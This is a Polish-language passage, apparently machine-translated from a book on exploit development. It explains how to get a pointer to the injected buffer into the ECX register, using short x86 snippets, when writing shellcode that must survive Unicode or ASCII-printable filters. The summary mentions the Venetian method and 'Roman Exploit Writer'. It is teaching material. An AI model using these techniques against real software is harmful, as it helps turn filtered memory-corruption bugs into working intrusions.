instrukcji jne here. Zanim zaczniemy pisać kod Roman Exploit Writer, mamy jeszcze jedną rzecz do zrobienia. Potrzebujemy wskaźnika do naszego bufora, w którym zostanie zapisany dekoder. Po zapisaniu dekodera wskaźnik ten należy dostosować, aby wskazywał bufor, z którym dekoder będzie pracował.

Uzyskiwanie poprawki na adres bufora

Wracając do momentu, w którym właśnie uzyskaliśmy kontrolę nad podatnym procesem, zanim zrobimy cokolwiek dalej, musimy uzyskać odniesienie do bufora dostarczonego przez użytkowników. Kod, którego użyjemy podczas stosowania metody weneckiej, używa rejestru ECX, więc musimy ustawić ECX tak, aby wskazywał na nasz bufor. Dostępne są dwie metody, w zależności od tego, czy rejestr wskazuje na bufor. Zakładając, że przynajmniej jeden rejestr zawiera wskaźnik do naszego bufora (na przykład rejestr EAX), odłożymy go na stos, a następnie wrzucimy do ECX.

```
push eax

pop ecx
```

Jeśli jednak żaden rejestr nie wskazuje na bufor, możemy zastosować następującą technikę, pod warunkiem, że wiemy, gdzie dokładnie znajduje się nasz bufor w pamięci. Najczęściej nadpisujemy zapisany adres zwrotny stałą lokalizacją; na przykład 0x00410041, więc będziemy mieć te informacje.

```
push 0

pop eax

inc eax

push eax

push esp

pop eax

imul eax,dword ptr[eax],0x00410041
```

To odkłada 0x00000000 na stos, który jest następnie wrzucany do EAX. EAX wynosi teraz 0. Następnie zwiększamy EAX o 1 i odkładamy go na stos. Mając 0x000000001 na szczycie stosu, odkładamy adres wierzchołka stosu na stos. Następnie wrzucamy to do EAX; EAX wskazuje teraz na 1. Mnożymy to 1 przez adres naszego bufora, zasadniczo przenosząc adres naszego bufora do EAX. To trochę bieganie,

ale nie możemy po prostu przenieść eax, 0x00410041, ponieważ kod maszynowy za tym nie jest w formacie Unicode. Kiedy już mamy nasz adres w EAX, odkładamy go na stos i wrzucamy do ECX.

push eax

pop ecx

Następnie musimy to dostosować. Pisanie dekodera pozostawimy jako ćwiczenie dla czytelników. Ta sekcja zawiera wszystkie istotne informacje wymagane do tego zadania.

Podsumowanie

W tek części dowiedziałeś się, jak wykorzystać luki w zabezpieczeniach, w których obecne są filtry. Wiele luk pozwala na umieszczenie w podatnym buforze tylko znaków drukowalnych w ASCII lub wymaga użycia przez exploita Unicode. Te luki można sklasyfikować jako „nie do wykorzystania", ale przy odpowiednim filtrze i dekoderze oraz odrobinie kreatywności rzeczywiście można je wykorzystać. Omówiliśmy wenecką metodę pisania filtra, a także przedstawiliśmy Roman Exploit Writer. Pierwsza pozwoli na wykorzystanie luk, w których obecne są filtry Unicode; ta ostatnia pozwala przezwyciężyć luki w znakach ASCIIprintable.